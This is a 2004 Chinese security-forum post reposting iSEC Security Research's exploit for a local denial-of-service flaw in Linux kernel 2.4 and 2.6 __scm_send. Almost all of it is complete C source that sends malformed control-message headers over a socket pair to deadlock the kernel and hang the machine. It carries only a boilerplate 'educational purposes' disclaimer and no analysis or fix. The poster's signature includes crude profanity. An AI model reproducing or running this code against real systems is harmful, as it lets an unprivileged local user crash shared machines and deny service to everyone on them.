‹‹ 上一主题 | 下一主题 ››
发新话题
打印

Linux kernel 2.4 & 2.6 scm_send local Denial of Service Exploit

EvilOctal

团队执行官

Rank: 8Rank: 8

E.S.T社区执行帐号

帖子
9821 
精华
768 
积分
40330 
阅读权限
200 
性别
男 
在线时间
3973 小时 
注册时间
2004-7-4 
最后登录
2008-8-29 
楼主 大 中 小 发表于 2004-12-17 00:35  只看该作者

Linux kernel 2.4 & 2.6 scm_send local Denial of Service Exploit

信息来源：iSEC Security Research
复制内容到剪贴板
代码:
/*
*    Linux kernel 2.4 & 2.6 __scm_send DoS
*    Warning! this code will hang your machine
*
*    gcc -O2 scmbang.c -o scmbang
*
*    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
*
*    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
*    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
*    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/


#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <arpa/inet.h>



static char buf[1024];



void
fatal (const char *msg)
{
   printf ("\n");
   if (!errno)
    {
      fprintf (stderr, "FATAL: %s\n", msg);
    }
   else
    {
      perror (msg);
    }
   printf ("\n");
   fflush (stdout);
   fflush (stderr);
   exit (1);
}


int
main (void)
{
   int s[2], r;
   struct sockaddr_in sin;
   struct msghdr *msg;
   struct cmsghdr *cmsg;

   r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s);
   if (r < 0)
    fatal ("socketpair");

   memset (buf, 0, sizeof (buf));
   msg = (void *) buf;
   msg->msg_control = (void *) (msg + 1);

// make bad cmsgs
   cmsg = (void *) msg->msg_control;

   cmsg->cmsg_len = sizeof (*cmsg);
   cmsg->cmsg_level = 0xdeadbebe;
   cmsg->cmsg_type = 12;    // len after overflow on second msg
   cmsg++;

// -12 for deadlock
   cmsg->cmsg_len = -12;
   cmsg->cmsg_level = SOL_IP;
   msg->msg_controllen = (unsigned) (cmsg + 1) - (unsigned) msg->msg_control;
   r = sendmsg (s[0], msg, 0);
   if (r < 0)
    fatal ("sendmsg");

   printf ("\nYou lucky\n");
   fflush (stdout);

   return 0;
}
曾几何时，有人对我说：装B遭雷劈。我说：去你妈的。于是，这个人又对我说：如果再说脏话，上帝会惩罚你的。我说：我操上帝。结论：彪悍的人生不需要上帝。

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题